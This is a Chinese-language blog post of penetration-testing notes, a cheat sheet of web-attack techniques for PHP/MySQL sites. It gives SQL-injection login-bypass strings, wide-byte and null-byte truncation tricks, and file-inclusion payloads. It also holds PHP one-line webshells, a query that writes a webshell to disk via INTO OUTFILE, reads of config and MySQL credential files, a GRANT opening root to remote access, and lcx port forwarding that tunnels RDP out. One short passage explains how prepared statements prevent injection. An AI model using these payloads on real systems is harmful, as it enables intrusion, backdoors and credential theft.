渗透测试碎碎念

渗透过程中一些知识点备忘:

  • 00截断适用于白名单绕过,但一定要程序代码有截断漏洞,所以不一定白名单都可以绕过
  • nginx php解析漏洞 xxx.jpg/xxx.php xxx.jpg%00.php
  • Linux 提权:1.查看系统信息 lsb_release -a uname -a
    2.找exp
  • PHP的流 http://192.168.160.13/index.php?url=zip:///var/www/html/upload/0e9982a96ad4cac58adb1a6e74e52aa2.zip%23yijuhua
    zip文件中的内容:<?php _GET[a](_GET[b]);?>
  • 登录的万能密码:

      admin' or '1'='  
      admin'#  
      ') or('a'='a  
    
  • PHP 默认magic_quotes_gpc打开,转义单引号、双引号,php SQL注入容易出出现在整数型注入
    防范SQL注入,预编译prepare=参数化查询、过滤关键字
    那为什么它这样处理就能预防SQL注入提高安全性呢?其实是因为SQL语句在程序运行前已经进行了预编译,在程序运行时第一次操作数据库之前,SQL语句已经被数据库分析,编译和优化,对应的执行计划也会缓存下来并允许数据库已参数化的形式进行查询,当运行时动态地把参数传给PreprareStatement时,即使参数里有敏感字符如 or ‘1=1’也数据库会作为一个参数一个字段的属性值来处理而不会作为一个SQL指令,如此,就起到了SQL注入的作用了!
  • 宽字节注入
    举个例子,假设/1 .php?id=1里面的id参数存在宽字节注人漏洞,当提交/1 .php?id=-1’ and 1=1%23时,MySQL运行的SQL语句为:

      select * from user where id='1\' and 1=1#'   
    

很明显这是没有注人成功的,我们提交的单引号被转义导致没有闭合前面的单引号,但是我们提交/1 .php?id=-1%df’ and 1=1%23时,这时候MySQL运行的 SQL语句为:

select * from user where id='1運' and 1=1#'  

这是由于单引号被自动转义成',前面的%df和转义字符\反斜杠(%5c)组合成 了%df%5c,也就是“運”字,这时候单引号依然还在,于是成功闭合了前面的单引号。

  • 本地文件包含

1.1 截断类型:php %00截断

截断条件:

php版本小于5.3.4
php的magic_quotes_gpc为OFF状态

1.2 文件路径长度截断
系统文件路径长度限制:

windows 259个bytes
linux 4096个bytes
php版本为5.3.4以下(具体哪个版本不是很清楚,乌云上kukki写的5.2.8以下,这明显是不对的,因为我测试用的5.2.9)
GPC是否开启没关系

php://input包含:在allow_url_include为On的情况下可用,不受版本限制

http://127.0.0.1/test.php?file=php://input  
<?php phpinfo();?>  

data:流

http://127.0.0.1/test.php?file=data://text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pgo=  

在allow_url_include为On的情况下可用

php://filter/read=convert.base64-encode/resource=   

方法读取源码:基本都能用,路径被限制则失败

  • ereg有两个漏洞

%00截断及遇到%00则默认为字符串的结束

当ntf为数组时它的返回值不是FALSE

  • mysql 写入一句话木马

      http://127.0.0.1/sqllib/Less-7/?id=1'))UNION SELECT 1,2,'<?php @eval($_post[“mima”])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"--+    
    
  • find / -name index.php 查找网站路径
  • select ‘一句话’ into outfile ‘path’
  • select load_file(‘path’) 读取文件
  • mysql>system 系统命令
  • phpmyadmin 2.11.b 2.11.4 存在万能密码
  • 获取绝对路径: 1.报错;
    2.找配置文件:

      c:\windows\php.ini  
      c:\windows\system32\inetsrv\MetaBase.xml  
      select 1,load_file('c:\\windows\\system32\\inetsrv\\MetaBase.xml')  
      /etc/php.ini  
      /etc/httpd/conf.d/php.conf  
      /etc/httpd/conf/httpd.conf  
      /usr/local/apache/conf/httpd.conf  
      /usr/local/apache2/conf/httpd.conf  
      system vi /etc/httpd/conf/httpd.conf  
    

搜索 path

  • 获取mysql用户名密码
    配置文件:conn、config、data、sql、common、inc
    查看数据库安装路径下mysql文件 /data/mysql/user.myd
    cmd5破解(*开头)

  • 菜刀数据库管理可以配置数据库,连接数据库,mysql开启root允许远程连接:

      GRANT ALL PRIVILEGES ON *.* TO root@"%" IDENTIFIED BY "root";  
      flush privileges;   
    
  • 寻找服务端口

      tasklist /svc  
      netstat -ano  
    
  • 端口转发
    lcx.exe -slave 自己IP 2222 127.0.0.1 3389 (将本机3389流量转发到公网IP的2222端口)

自己电脑执行:lxc.exe -listen 2222 4444 (监听本地2222端口流量,转发到4444)

远程连接127.0.0.1:4444

  • 菜刀设置cmd终端
    setp: c\test\cmd.exe 解决菜刀无权限执行命令情况


blog comments powered by Disqus